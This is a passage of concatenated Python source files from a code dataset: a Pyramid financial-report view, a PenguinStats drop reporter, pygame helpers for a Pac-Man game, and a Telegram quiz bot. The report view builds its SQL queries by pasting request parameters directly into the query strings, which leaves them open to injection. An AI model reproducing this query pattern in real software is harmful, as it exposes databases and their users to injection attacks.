if request.params.has_key(\"data\") and request.params[\"data\"] != \"\":\r\n filter_data = \"'\"+request.params[\"data\"]+\"'\"\r\n else:\r\n filter_data = \"''\"\r\n if request.params.has_key(\"start_date\") and request.params[\"start_date\"] != \"\":\r\n filter_start_date = \"'\"+request.params[\"start_date\"]+\"'\"\r\n else:\r\n filter_start_date = \"''\"\r\n if request.params.has_key(\"end_date\") and request.params[\"end_date\"] != \"\":\r\n filter_end_date = \"'\"+request.params[\"end_date\"]+\"'\"\r\n else:\r\n filter_end_date = \"''\"\r\n\r\n if request.params.has_key(\"data2\") and request.params[\"data2\"] != \"\":\r\n filter_data2 = \"'\"+request.params[\"data2\"]+\"'\"\r\n else:\r\n filter_data2 = \"''\"\r\n if request.params.has_key(\"start_date2\") and request.params[\"start_date2\"] != \"\":\r\n filter_start_date2 = \"'\"+request.params[\"start_date2\"]+\"'\"\r\n else:\r\n filter_start_date2 = \"''\"\r\n if request.params.has_key(\"end_date2\") and request.params[\"end_date2\"] != \"\":\r\n filter_end_date2 = \"'\"+request.params[\"end_date2\"]+\"'\"\r\n else:\r\n filter_end_date2 = \"''\"\r\n\r\n if request.params.has_key(\"receber_ou_a_pagar\") and request.params[\"receber_ou_a_pagar\"] != \"\":\r\n filter_receber_ou_a_pagar = \"'\"+request.params[\"receber_ou_a_pagar\"]+\"'\"\r\n else:\r\n filter_receber_ou_a_pagar = \"''\"\r\n if request.params.has_key(\"conta\") and request.params[\"conta\"] != \"\":\r\n filter_conta = \"'\"+request.params[\"conta\"]+\"'\"\r\n else:\r\n filter_conta = \"''\"\r\n if request.params.has_key(\"statusrel\") and request.params[\"statusrel\"] != \"\":\r\n filter_statusrel = \"'\"+request.params[\"statusrel\"]+\"'\"\r\n else:\r\n filter_statusrel = \"''\"\r\n if request.params.has_key(\"tipo_de_documento\") and request.params[\"tipo_de_documento\"] != \"\":\r\n filter_tipo_de_documento = \"'\"+request.params[\"tipo_de_documento\"]+\"'\"\r\n else:\r\n filter_tipo_de_documento = \"''\"\r\n if request.params.has_key(\"job\") and request.params[\"job\"] != \"\":\r\n filter_job = \"'\" + request.params[\"job\"] + \"'\"\r\n else:\r\n filter_job = \"''\"\r\n if request.params.has_key(\"departamento\") and request.params[\"departamento\"] != \"\":\r\n filter_departamento = \"'\"+request.params[\"departamento\"]+\"'\"\r\n else:\r\n filter_departamento = \"''\"\r\n if request.params.has_key(\"subdepto\") and request.params[\"subdepto\"] != \"\":\r\n filter_subdepto = \"'\"+request.params[\"subdepto\"]+\"'\"\r\n else:\r\n filter_subdepto = \"''\"\r\n if request.params.has_key(\"categoria\") and request.params[\"categoria\"] != \"\":\r\n filter_categoria = \"'\"+request.params[\"categoria\"]+\"'\"\r\n else:\r\n filter_categoria = \"''\"\r\n if request.params.has_key(\"sub_categoria\") and request.params[\"sub_categoria\"] != \"\":\r\n filter_sub_categoria = \"'\"+request.params[\"sub_categoria\"]+\"'\"\r\n else:\r\n filter_sub_categoria = \"''\"\r\n if request.params.has_key(\"busca\") and request.params[\"busca\"] != \"\":\r\n filter_busca = \"'\"+request.params[\"busca\"]+\"'\"\r\n else:\r\n filter_busca = \"''\"\r\n if request.params.has_key(\"business_unit\") and request.params[\"business_unit\"] != \"\":\r\n filter_business_unit = \"'\"+request.params[\"business_unit\"]+\"'\"\r\n else:\r\n filter_business_unit = \"''\"\r\n if request.params.has_key(\"sub_business_unit\") and request.params[\"sub_business_unit\"] != \"\":\r\n filter_sub_business_unit = \"'\"+request.params[\"sub_business_unit\"]+\"'\"\r\n else:\r\n filter_sub_business_unit = \"''\"\r\n if request.params.has_key(\"provisao\") and request.params[\"provisao\"] != \"\":\r\n filter_provisao = \"'\"+request.params[\"provisao\"]+\"'\"\r\n else:\r\n filter_provisao = \"''\"\r\n\r\n user_id = request.session['session']['user_id']\r\n if not request.params.has_key(\"button_search\"):\r\n delete_filters = \"DELETE FROM page_filter WHERE page_id = 33 AND user_id = %s\"%user_id\r\n mysql_db.execute(delete_filters)\r\n insert_filter_data = \"INSERT INTO page_filter (page_id, page_filter_field, page_filter_value, user_id) VALUES (33, 'data', %s, %s)\"%(filter_data, user_id)\r\n mysql_db.execute(insert_filter_data)\r\n insert_filter_start_date = \"INSERT INTO page_filter (page_id, page_filter_field, page_filter_value, user_id) VALUES (33, 'start_date', %s, %s)\"%(filter_start_date, user_id)\r\n mysql_db.execute(insert_filter_start_date)\r\n insert_filter_end_date = \"INSERT INTO page_filter (page_id, page_filter_field, page_filter_value, user_id) VALUES (33, 'end_date', %s, %s)\"%(filter_end_date, user_id)\r\n mysql_db.execute(insert_filter_end_date)\r\n\r\n insert_filter_data2 = \"INSERT INTO page_filter (page_id, page_filter_field, page_filter_value, user_id) VALUES (33, 'data2', %s, %s)\"%(filter_data2, user_id)\r\n mysql_db.execute(insert_filter_data2)\r\n insert_filter_start_date2 = \"INSERT INTO page_filter (page_id, page_filter_field, page_filter_value, user_id) VALUES (33, 'start_date2', %s, %s)\"%(filter_start_date2, user_id)\r\n mysql_db.execute(insert_filter_start_date2)\r\n insert_filter_end_date2 = \"INSERT INTO page_filter (page_id, page_filter_field, page_filter_value, user_id) VALUES (33, 'end_date2', %s, %s)\"%(filter_end_date2, user_id)\r\n mysql_db.execute(insert_filter_end_date2)\r\n\r\n insert_filter_receber_ou_a_pagar = \"INSERT INTO page_filter (page_id, page_filter_field, page_filter_value, user_id) VALUES (33, 'receber_ou_a_pagar', %s, %s)\"%(filter_receber_ou_a_pagar, user_id)\r\n mysql_db.execute(insert_filter_receber_ou_a_pagar)\r\n insert_filter_conta = \"INSERT INTO page_filter (page_id, page_filter_field, page_filter_value, user_id) VALUES (33, 'conta', %s, %s)\"%(filter_conta, user_id)\r\n mysql_db.execute(insert_filter_conta)\r\n insert_filter_statusrel = \"INSERT INTO page_filter (page_id, page_filter_field, page_filter_value, user_id) VALUES (33, 'statusrel', %s, %s)\"%(filter_statusrel, user_id)\r\n mysql_db.execute(insert_filter_statusrel)\r\n insert_filter_tipo_de_documento = \"INSERT INTO page_filter (page_id, page_filter_field, page_filter_value, user_id) VALUES (33, 'tipo_de_documento', %s, %s)\"%(filter_tipo_de_documento, user_id)\r\n mysql_db.execute(insert_filter_tipo_de_documento)\r\n insert_filter_job = \"INSERT INTO page_filter (page_id, page_filter_field, page_filter_value, user_id) VALUES (33, 'job', %s, %s)\"%(filter_job, user_id)\r\n mysql_db.execute(insert_filter_job)\r\n insert_filter_departamento = \"INSERT INTO page_filter (page_id, page_filter_field, page_filter_value, user_id) VALUES (33, 'departamento', %s, %s)\"%(filter_departamento, user_id)\r\n mysql_db.execute(insert_filter_departamento)\r\n insert_filter_subdepto = \"INSERT INTO page_filter (page_id, page_filter_field, page_filter_value, user_id) VALUES (33, 'subdepto', %s, %s)\"%(filter_subdepto, user_id)\r\n mysql_db.execute(insert_filter_subdepto)\r\n insert_filter_categoria = \"INSERT INTO page_filter (page_id, page_filter_field, page_filter_value, user_id) VALUES (33, 'categoria', %s, %s)\"%(filter_categoria, user_id)\r\n mysql_db.execute(insert_filter_categoria)\r\n insert_filter_sub_categoria = \"INSERT INTO page_filter (page_id, page_filter_field, page_filter_value, user_id) VALUES (33, 'sub_categoria', %s, %s)\"%(filter_sub_categoria, user_id)\r\n mysql_db.execute(insert_filter_sub_categoria)\r\n insert_filter_busca = \"INSERT INTO page_filter (page_id, page_filter_field, page_filter_value, user_id) VALUES (33, 'busca', %s, %s)\"%(filter_busca, user_id)\r\n mysql_db.execute(insert_filter_busca)\r\n insert_filter_business_unit = \"INSERT INTO page_filter (page_id, page_filter_field, page_filter_value, user_id) VALUES (33, 'business_unit', %s, %s)\"%(filter_business_unit, user_id)\r\n mysql_db.execute(insert_filter_business_unit)\r\n insert_filter_sub_business_unit = \"INSERT INTO page_filter (page_id, page_filter_field, page_filter_value, user_id) VALUES (33, 'sub_business_unit', %s, %s)\"%(filter_sub_business_unit, user_id)\r\n mysql_db.execute(insert_filter_sub_business_unit)\r\n insert_filter_provisao = \"INSERT INTO page_filter (page_id, page_filter_field, page_filter_value, user_id) VALUES (33, 'provisao', %s, %s)\"%(filter_provisao, user_id)\r\n mysql_db.execute(insert_filter_provisao)\r\n\r\n rc=VetorDepartmentComponents(request)\r\n rf=DepartmentFilters(request)\r\n json = JsonReportList(rc,rf)\r\n\r\n select_filters = \"SELECT * FROM page_filter WHERE page_id = 33 AND user_id = %s\"%user_id\r\n resp = mysql_db.execute(select_filters).fetchall()\r\n size_resp = len(resp)\r\n\r\n if size_resp > 0 and report_filter_flag == 1: \r\n new_dict = {'end_date': u'', 'tipo_de_documento': u'', 'start_date': u'', 'receber_ou_a_pagar': u'1', 'job': u'',\r\n 'departamento': u'', 'subdepto': u'', 'categoria': u'', 'sub_categoria': u'','empty_body': u'false', \r\n 'limit': u'20', 'page': u'', 'data': u'', 'conta' : u'', 'status_rel' : u'', 'busca' : u'',\r\n 'business_unit': u'','sub_business_unit': u'', 'data2' : u'', 'start_date2': u'', 'end_date2': u'', \r\n 'provisao' : u''}\r\n new_dict[\"data\"] = resp[0][3]\r\n new_dict[\"start_date\"] = resp[1][3]\r\n new_dict[\"end_date\"] = resp[2][3]\r\n\r\n new_dict[\"data2\"] = resp[3][3]\r\n new_dict[\"start_date2\"] = resp[4][3]\r\n new_dict[\"end_date2\"] = resp[5][3]\r\n\r\n new_dict[\"receber_ou_a_pagar\"] = resp[6][3]\r\n new_dict[\"conta\"] = resp[7][3]\r\n new_dict[\"statusrel\"] = resp[8][3]\r\n new_dict[\"tipo_de_documento\"] = resp[9][3]\r\n new_dict[\"job\"] = resp[10][3]\r\n new_dict[\"departamento\"] = resp[11][3]\r\n new_dict[\"subdepto\"] = resp[12][3]\r\n new_dict[\"categoria\"] = resp[13][3]\r\n new_dict[\"sub_categoria\"] = resp[14][3]\r\n new_dict[\"busca\"] = resp[15][3]\r\n new_dict[\"business_unit\"] = resp[16][3]\r\n new_dict[\"sub_business_unit\"] = resp[17][3]\r\n new_dict[\"provisao\"] = resp[18][3]\r\n if report_limit > 0:\r\n new_dict[\"limit\"] = report_limit\r\n if request.params.has_key(\"page\"):\r\n new_dict[\"page\"] = request.params[\"page\"]\r\n if request.params.has_key(\"order_field\"):\r\n order_field = request.params[\"order_field\"]\r\n new_dict[\"order_field\"] = order_field\r\n order = request.params[\"order\"]\r\n new_dict[\"order\"] = order\r\n else:\r\n new_dict = None\r\n return json.list_report(request, new_dict)\r\n\r\n@view_config(route_name='financial.report.department.filter.select' , renderer=\"json\")\r\n@jsonLogin\r\ndef report_combobox_select(request):\r\n rf= DepartmentFilters(request)\r\n return report_filter_select(request,rf)\r\n\r\n@view_config(route_name='financial.report.department.form.del' , renderer=\"json\")\r\n@jsonLogin\r\ndef delete_form(request):\r\n return delete_cost_center(request)\r\n\r\n@view_config(route_name='financial.report.department.row.id' , renderer=\"json\")\r\n@jsonLogin\r\n#seleciona apenas o componente principal pelo id\r\ndef department_select_unique(request):\r\n grid = vzMultipleComponentJsonGrid(model=DepartmentComponents())\r\n return grid.select_unique(request.params)\r\n\r\n@view_config(route_name='financial.report.department.excel')\r\n@jsonLogin\r\ndef invoice_generate_excel(request):\r\n rc=VetorDepartmentComponents(request)\r\n rf=DepartmentFilters(request)\r\n json = JsonReportList(rc,rf)\r\n listExcel = json.list_excel(request)\r\n filename = \"relatorio%s\" % str(uuid.uuid4())\r\n exportXLS(filename, listExcel)\r\n response = Response(content_type='application/force-download')\r\n f = open(PLANILHAS_PATH + filename + \".xls\", 'rb')\r\n response.app_iter = f\r\n response.headers['Content-Disposition'] = (\"attachment; filename=relatorio.xls\")\r\n return response\r\n\r\n@view_config(route_name='financial.report.department.get_report_filters', renderer=\"json\")\r\n@jsonLogin\r\ndef get_report_filters(request):\r\n user_id = request.session['session']['user_id']\r\n sql = \"SELECT page_filter_field, page_filter_value FROM page_filter WHERE page_id = 33 AND user_id = %s\"%user_id\r\n resp = mysql_db.execute(sql).fetchall()\r\n dict_statement = {}\r\n for reg in resp:\r\n dict_statement[reg[0]] = str(reg[1])\r\n\r\n sql_report_filter_flag = \"SELECT user_report_filter_flag FROM USER where user_id = %s\"%user_id\r\n resp2 = mysql_db.execute(sql_report_filter_flag).fetchall()\r\n dict_statement['report_filter_flag'] = str(resp2[0][0])\r\n\r\n return dict_statement\r\n\r\n@view_config(route_name='financial.report.department.get_subCostCenter', renderer=\"json\")\r\n@jsonLogin\r\ndef get_subCostCenter(request):\r\n cost_center_id = request.POST[\"id_cc\"]\r\n if cost_center_id != \"\":\r\n sql = \"SELECT cost_center_id, cost_center_code, cost_center_desc FROM cost_center where cost_center_status = 1 and cost_center_parent = %s\"%cost_center_id\r\n resp = mysql_db.execute(sql).fetchall()\r\n dict_subCostCenterList = []\r\n for reg in resp:\r\n cost_center_id = str(reg[0])\r\n cost_center_code = str(reg[1])\r\n cost_center_desc = unicode(reg[2])\r\n dict_subCostCenter = [cost_center_id, cost_center_code, cost_center_desc]\r\n dict_subCostCenterList.append(dict_subCostCenter)\r\n else:\r\n sql = \"SELECT cost_center_id, cost_center_code, cost_center_desc FROM cost_center where cost_center_parent != '' order by cost_center_code\"\r\n resp = mysql_db.execute(sql).fetchall()\r\n dict_subCostCenterList = []\r\n for reg in resp:\r\n cost_center_id = str(reg[0])\r\n cost_center_code = str(reg[1])\r\n cost_center_desc = unicode(reg[2])\r\n dict_subCostCenter = [cost_center_id, cost_center_code, cost_center_desc]\r\n dict_subCostCenterList.append(dict_subCostCenter)\r\n\r\n return dict_subCostCenterList\r\n\r\n@view_config(route_name='financial.report.department.get_subDepartment', renderer=\"json\")\r\n@jsonLogin\r\ndef get_subDepartment(request):\r\n department_id = request.POST[\"id_department\"]\r\n if department_id != \"\":\r\n sql = \"SELECT department_id, department_code, department_desc FROM department where department_id in (select department_id_child from department_x_department where department_id_parent = %s) order by department_desc\"%department_id\r\n resp = mysql_db.execute(sql).fetchall()\r\n dict_subDepartmentList = []\r\n for reg in resp:\r\n department_id = str(reg[0])\r\n department_code = str(reg[1])\r\n department_desc = unicode(reg[2])\r\n dict_subDepartment = [department_id, department_code, department_desc]\r\n dict_subDepartmentList.append(dict_subDepartment)\r\n else:\r\n sql = \"SELECT department_id, department_code, department_desc FROM department where department_id in (select department_id_child from department_x_department order by department_desc)\"\r\n resp = mysql_db.execute(sql).fetchall()\r\n dict_subDepartmentList = []\r\n for reg in resp:\r\n department_id = str(reg[0])\r\n department_code = str(reg[1])\r\n department_desc = unicode(reg[2])\r\n dict_subDepartment = [department_id, department_code, department_desc]\r\n dict_subDepartmentList.append(dict_subDepartment)\r\n return dict_subDepartmentList\r\n\r\n@view_config(route_name='financial.report.department.get_subBusinessUnit', renderer=\"json\")\r\n@jsonLogin\r\ndef get_subBusinessUnit(request):\r\n business_unit_id = request.POST[\"id_business_unit\"]\r\n if business_unit_id != \"\":\r\n sql = \"SELECT business_unit_id, business_unit_code, business_unit_desc FROM business_unit WHERE business_unit_id IN (SELECT business_unit_id_child FROM business_unit_x_business_unit WHERE business_unit_id_parent = %s) ORDER BY business_unit_code\"%business_unit_id\r\n resp = mysql_db.execute(sql).fetchall()\r\n dict_subBusinessUnitList = []\r\n for reg in resp:\r\n business_unit_id = str(reg[0])\r\n business_unit_code = str(reg[1])\r\n business_unit_desc = unicode(reg[2])\r\n dict_subBusinessUnit = [business_unit_id, business_unit_code, business_unit_desc]\r\n dict_subBusinessUnitList.append(dict_subBusinessUnit)\r\n else:\r\n sql = \"SELECT business_unit_id, business_unit_code, business_unit_desc FROM business_unit WHERE business_unit_id IN (SELECT business_unit_id_child FROM business_unit_x_business_unit ORDER BY business_unit_code)\"\r\n resp = mysql_db.execute(sql).fetchall()\r\n dict_subBusinessUnitList = []\r\n for reg in resp:\r\n business_unit_id = str(reg[0])\r\n business_unit_code = str(reg[1])\r\n business_unit_desc = unicode(reg[2])\r\n dict_subBusinessUnit = [business_unit_id, business_unit_code, business_unit_desc]\r\n dict_subBusinessUnitList.append(dict_subBusinessUnit)\r\n return dict_subBusinessUnitList\r\n","sub_path":"financial/report_department.py","file_name":"report_department.py","file_ext":"py","file_size_in_byte":53758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"291593470","text":"import logging\nimport json\nfrom dataclasses import dataclass\nfrom typing import Union\nimport config\nfrom resources.event import event_preprocess\nimport penguin_client\n\n\nlogger = logging.getLogger('PenguinReporter')\n\nREPORT_SOURCE = 'ArknightsAutoHelper'\n\n\ndef _object_in(collection, obj):\n for x in collection:\n if obj is x:\n return True\n return False\n\ndef _check_in_bound(bound, num):\n result = bound.lower <= num <= bound.upper \n if bound.exceptions and num in bound.exceptions:\n return False\n return result\n\n\nclass ReportResult:\n pass\n@dataclass\nclass ReportResultOk(ReportResult):\n report_hash: str\nReportResult.Ok = ReportResultOk\nReportResult.NothingToReport = ReportResult()\nReportResult.NotReported =ReportResult()\n\n\nclass PenguinStatsReporter:\n GROUP_NAME_TO_TYPE_MAP = {\n '常规掉落': 'NORMAL_DROP',\n '特殊掉落': 'SPECIAL_DROP',\n '额外物资': 'EXTRA_DROP',\n '幸运掉落': 'FURNITURE',\n }\n\n def __init__(self):\n self.logged_in = False\n self.initialized = None\n self.client = penguin_client.ApiClient()\n self.stage_map = {}\n self.item_map = {}\n\n \n def set_login_state_with_last_response_cookie(self, response):\n setcookie = response.urllib3_response.headers['set-cookie']\n try:\n begin = setcookie.index('userID=')\n end = setcookie.index(';', begin)\n userid = setcookie[begin+7:end]\n self.client.cookie = 'userID=' + userid\n self.logged_in = True\n return userid\n except ValueError:\n return None\n\n def try_login(self, userid):\n if self.logged_in:\n return True\n acctapi = penguin_client.AccountApi(self.client)\n try:\n logger.info('登录企鹅数据,userID=%s', userid)\n jdoc = acctapi.login_using_post1(userid)\n except: \n logger.error('登录失败', exc_info=1)\n return False\n self.set_login_state_with_last_response_cookie(self.client.last_response)\n return True\n\n def initialize(self):\n if self.initialized is not None:\n return self.initialized\n try:\n logger.info('载入企鹅数据资源...')\n stageapi = penguin_client.StageApi(self.client)\n itemsapi = penguin_client.ItemApi(self.client)\n stages = stageapi.get_all_stages_using_get1()\n items = itemsapi.get_all_items_using_get1()\n for s in stages:\n self.stage_map[s.code] = s\n for i in items:\n self.item_map[i.name] = i\n self.initialized = True\n except:\n logger.error('载入企鹅数据资源出错', exc_info=True)\n self.initialized = False\n return self.initialized\n\n def report(self, recoresult):\n if not self.initialize():\n return ReportResult.NothingToReport\n logger.info('向企鹅数据汇报掉落')\n if recoresult['stars'] != (True, True, True):\n logger.info('不汇报非三星过关掉落')\n return ReportResult.NotReported\n if recoresult['low_confidence']:\n logger.info('不汇报低置信度识别结果')\n return ReportResult.NotReported\n\n code = recoresult['operation']\n if code not in self.stage_map:\n logger.info('企鹅数据无此关卡:%s', code)\n return ReportResult.NothingToReport\n stage = self.stage_map[code]\n\n if sum(1 for drop in stage.drop_infos if drop.item_id is not None and drop.item_id != 'furni') == 0:\n logger.info('关卡 %s 目前无除家具外掉落,不进行汇报', code)\n return ReportResult.NothingToReport\n\n flattenitems = {}\n groupcount = 0\n furncount = 0\n itemgroups = recoresult['items']\n exclude_from_validation = []\n flattenitems4validate = {}\n try:\n itemgroups = event_preprocess(recoresult['operation'], itemgroups, exclude_from_validation)\n except:\n logger.error('处理活动道具时出错', exc_info=True)\n return ReportResult.NotReported\n\n typeddrops = []\n dropinfos = stage.drop_infos\n for groupname, items in itemgroups:\n if groupname == '首次掉落':\n logger.info('不汇报首次掉落')\n return ReportResult.NotReported\n if '声望&龙门币奖励' in groupname:\n continue\n groupcount += 1\n if groupname == '幸运掉落':\n typeddrops.append(penguin_client.TypedDrop('FURNITURE', 'furni', 1))\n continue\n\n droptype = PenguinStatsReporter.GROUP_NAME_TO_TYPE_MAP.get(groupname, None)\n if droptype is None:\n logger.warning(\"不汇报包含 %s 分组的掉落数据\", groupname)\n return ReportResult.NotReported\n\n for tup in items:\n name, qty = tup\n item = self.item_map.get(name, None)\n if item is None:\n logger.warning(\"%s 不在企鹅数据物品列表内\", name)\n return ReportResult.NotReported\n itemid = item.item_id\n if not _object_in(exclude_from_validation, tup):\n filterresult = [x for x in dropinfos if x.item_id == itemid and x.drop_type == droptype]\n if filterresult:\n dropinfo4item = filterresult[0]\n if not _check_in_bound(dropinfo4item.bounds, qty):\n logger.error('物品 %s(%s)数量(%d)不符合企鹅数据验证规则', name, itemid, qty)\n return ReportResult.NotReported\n typeddrops.append(penguin_client.TypedDrop(droptype, itemid, qty))\n else:\n logger.warning('物品 %s:%s(%s:%s)× %d 缺少验证规则', groupname, name, droptype, itemid, qty)\n\n for groupinfo in dropinfos:\n if groupinfo.item_id is None:\n kinds = sum(1 for x in typeddrops if x.drop_type == groupinfo.drop_type)\n if not _check_in_bound(groupinfo.bounds, kinds):\n logger.error('分组 %s(%s)内物品种类数量(%d)不符合企鹅数据验证规则', groupname, droptype, kinds)\n return ReportResult.NotReported\n\n req = penguin_client.SingleReportRequest(\n drops=typeddrops,\n server='CN',\n stage_id=stage.stage_id,\n source=REPORT_SOURCE,\n version=config.version\n )\n\n\n client = self.client\n if not self.logged_in:\n uid = config.get('reporting/penguin_stats_uid', None)\n if uid is not None:\n if not self.try_login(uid):\n # use exclusive client instance to get response cookie\n client = penguin_client.ApiClient()\n api = penguin_client.ReportApi(client)\n try:\n # use cookie stored in session\n resp = api.save_single_report_using_post1(req)\n if not self.logged_in:\n userid = self.set_login_state_with_last_response_cookie(client.last_response)\n if userid is not None:\n logger.info('企鹅数据用户 ID: %s', userid)\n config.set('reporting/penguin_stats_uid', userid)\n config.save()\n logger.info('已写入配置文件')\n return ReportResult.Ok(resp.report_hash)\n except:\n logger.error('汇报失败', exc_info=True)\n return ReportResult.NotReported\n","sub_path":"penguin_stats/reporter.py","file_name":"reporter.py","file_ext":"py","file_size_in_byte":7803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"505960360","text":"import sys\r\nimport pygame as pg\r\nfrom vector import Vector\r\n\r\n\r\ndirection = {\"UP\": Vector(0, -1), \"DOWN\": Vector(0, 1),\r\n \"RIGHT\": Vector(1, 0), \"LEFT\": Vector(-1, 0),\r\n \"STOP\": Vector(0, 0)}\r\n\r\n\r\ndef check_key_down_event():\r\n key_pressed = pg.key.get_pressed()\r\n if key_pressed[pg.K_UP]:\r\n return direction[\"UP\"]\r\n elif key_pressed[pg.K_DOWN]:\r\n return direction[\"DOWN\"]\r\n elif key_pressed[pg.K_RIGHT]:\r\n return direction[\"RIGHT\"]\r\n elif key_pressed[pg.K_LEFT]:\r\n return direction[\"LEFT\"]\r\n return None\r\n\r\n\r\ndef check_events(game):\r\n for event in pg.event.get():\r\n if event.type == pg.QUIT:\r\n sys.exit()\r\n elif event.type == pg.KEYDOWN:\r\n if event.key == pg.K_SPACE:\r\n if game.game_over:\r\n game.start_game()\r\n else:\r\n game.pause.player()\r\n elif event.type == pg.MOUSEBUTTONDOWN:\r\n mouse_x, mouse_y = pg.mouse.get_pos()\r\n check_play_button(game, mouse_x, mouse_y)\r\n check_scores_button(game, mouse_x, mouse_y)\r\n\r\n\r\ndef update_screen(game):\r\n if game.settings.game_active:\r\n game.screen.fill(game.settings.bg_color)\r\n game.maze.create_maze()\r\n game.foods.draw()\r\n if game.fruit is not None:\r\n game.fruit.draw()\r\n game.pacman.draw()\r\n game.ghosts.draw()\r\n game.sb.show_score()\r\n else:\r\n game.play_button.draw_button()\r\n game.score_button.draw_button()\r\n pg.display.flip()\r\n\r\n\r\ndef check_play_button(game, mouse_x, mouse_y):\r\n button_clicked = game.play_button.rect.collidepoint(mouse_x, mouse_y)\r\n if button_clicked and not game.settings.game_active:\r\n game.start_game()\r\n game.pause.force(False)\r\n game.pause.start_timer(4.5)\r\n game.sound.play_open_song()\r\n game.settings.game_active = True\r\n\r\n\r\ndef check_scores_button(game, mouse_x, mouse_y):\r\n button_clicked = game.score_button.rect.collidepoint(mouse_x, mouse_y)\r\n if button_clicked and not game.settings.game_active:\r\n high_score_font = pg.font.SysFont(\"monospace\", 22)\r\n high_score_text = high_score_font.render(\"Current High Score: \" + str(game.stats.high_score), True, (255, 255, 255))\r\n game.screen.blit(high_score_text, (70, 540))\r\n","sub_path":"game_functions.py","file_name":"game_functions.py","file_ext":"py","file_size_in_byte":2360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"285527235","text":"#!/usr/bin/env python\n#-*-coding:utf8;-*-\n\nproject_name = \"PROECT_ID\" \nimport sys\nsys.path.append('../')\nreload(sys)\nsys.setdefaultencoding(\"utf-8\")\nimport logging\nimport threading\nimport requests\nimport json\nfrom google.appengine.api import urlfetch\nfrom google.appengine.ext import ndb\nimport telebot\nimport time\nfrom time import sleep\nfrom telebot import types\nfrom telebot import util\nimport os\nimport random\nfrom datetime import datetime\nfrom pytz import timezone\nimport webapp2\nimport urllib\nimport urllib2\nAPI_TOKEN = \"\"\ndef admin(user_id):\n Admins = [ADMINALR_ID_RAQAMLARI] #Adminlar id si ro'yhati. Bu yerga o'zingizni id raqamingizni yozing. Tel raqam emas, telegramdagi id raqam\n if user_id in Admins:\n return(True)\n else:\n return(False)\nbot=telebot.TeleBot(API_TOKEN, threaded=False)\nbot_id=API_TOKEN.split(\":\")[0]\n\n@bot.message_handler(commands=['start'])\ndef any_msg(message):\n keyboard = types.InlineKeyboardMarkup(row_width=1)\n switch_button = types.InlineKeyboardButton(text=\"📢Tarqatish\", switch_inline_query=\"savol\")\n keyboard.add(switch_button)\n bot.send_message(message.chat.id, '👇 Savollarni guruhlarga tarqating 👇', reply_markup=keyboard)\n\n@bot.inline_handler(lambda query: query.query == 'savol')\ndef query_text(query):\n keyboard = types.InlineKeyboardMarkup(row_width=2)\n keyboard.add(types.InlineKeyboardButton(text='1', callback_data='1a'))\n keyboard.add(types.InlineKeyboardButton(text='8', callback_data='1b'))\n keyboard.add(types.InlineKeyboardButton(text='40', callback_data='1c'))\n keyboard.add(types.InlineKeyboardButton(text='100', callback_data='1d'))\n results = []\n r1 = types.InlineQueryResultArticle('1',\n title=' 👉👉 1 litrli bonkaga...',\n url='https://telegram.me/ViktorinauzBot?startgroup=new', \n description='👆 Bu yerda savol bor',\n thumb_url='https://images.pexels.com/photos/27631/pexels-photo-27631.jpg?h=350&auto=compress',\n input_message_content=types.InputTextMessageContent(message_text='1 litrli bonkaga joylangan qum necha million zarradan iborat?',parse_mode=\"Markdown\",),\n reply_markup=keyboard)\n results.append(r1)\n bot.answer_inline_query(query.id, results)\n\n@bot.inline_handler(lambda query: query.query == '1')\ndef query_photo(inline_query):\n try:\n r = types.InlineQueryResultPhoto('1',\n 'http://xitoy2.p.fl1.fo.ru/image/chunk24/4460736/wiki_934058/121.jpg_1473588699.jpg',\n 'http://xitoy2.p.fl1.fo.ru/image/chunk24/4460736/wiki_934058/121.jpg_1473588699.jpg')\n bot.answer_inline_query(inline_query.id, [r], cache_time=1)\n except Exception as e:\n print(e)\n\n@bot.callback_query_handler(func=lambda call: True)\ndef callback_inline(call):\n if call.inline_message_id:\n if call.data == '1a':\n bot.edit_message_text(inline_message_id = call.inline_message_id, text = \"Siz noto'g'ri javob berdingiz\")\n if call.data == '1b':\n bot.edit_message_text(inline_message_id = call.inline_message_id, text = \"✅ Javob to'g'ri\\n@ViktorinaUzBot\")\n if call.data == '1c':\n bot.edit_message_text(inline_message_id = call.inline_message_id, text = \"Siz noto'g'ri javob berdingiz\")\n if call.data == '1d':\n bot.edit_message_text(inline_message_id = call.inline_message_id, text = \"Siz noto'g'ri javob berdingiz\")\n\nlogger = telebot.logger\n\n# webserver index\nclass IndexHandler(webapp2.RequestHandler):\n def get(self):\n urlfetch.set_default_fetch_deadline(60)\n self.response.write(\"\"\"\n\n \n \n gruppala_bot\n \n \n \n \n\n \n \n\n

\"\"\" + project_name + \"\"\" ning serveri

\n \n\"\"\")\n return\n\n\n # bu joyiga teymela!!! Eng optimal qilip yozib bo'lingan!\n# Process webhook calls\nclass WebhookHandler(webapp2.RequestHandler):\n def post(self):\n urlfetch.set_default_fetch_deadline(600)\n body = json.loads(self.request.body)\n logging.info('request body:')\n logging.info(body)\n try:\n json_string = json.loads(self.request.body.decode(\"utf-8\"))\n updates = [telebot.types.Update.de_json(json_string)]\n new_messages = []\n edited_new_messages = []\n new_inline_querys = []\n new_chosen_inline_results = []\n new_callback_querys = []\n for update in updates:\n if update.message:\n new_messages.append(update.message)\n if update.edited_message:\n edited_new_messages.append(update.edited_message)\n if update.inline_query:\n new_inline_querys.append(update.inline_query)\n if update.chosen_inline_result:\n new_chosen_inline_results.append(update.chosen_inline_result)\n if update.callback_query:\n new_callback_querys.append(update.callback_query)\n logger.debug('Received {0} new updates'.format(len(updates)))\n if len(new_messages) > 0:\n bot.process_new_messages(new_messages)\n if len(edited_new_messages) > 0:\n bot.process_new_edited_messages(edited_new_messages)\n if len(new_inline_querys) > 0:\n bot.process_new_inline_query(new_inline_querys)\n if len(new_chosen_inline_results) > 0:\n bot.process_new_chosen_inline_query(new_chosen_inline_results)\n if len(new_callback_querys) > 0:\n bot.process_new_callback_query(new_callback_querys) \n except Exception as ex:\n logging.error(str(ex))\n self.response.write('{\"ok\": true}')\n return\n \n \n \n\n\nclass SetWebhookHandler(webapp2.RequestHandler):\n def get(self):\n urlfetch.set_default_fetch_deadline(60)\n url = self.request.get(\"url\")\n if not url:\n bot.set_webhook(\"https://PROECT_ID.appspot.com/webhook\") #o'zgartirilsin\n else:\n bot.set_webhook(url)\n self.response.write(\"ok\")\n return\n \napp = webapp2.WSGIApplication([\n ('/', IndexHandler),\n ('/set_webhook', 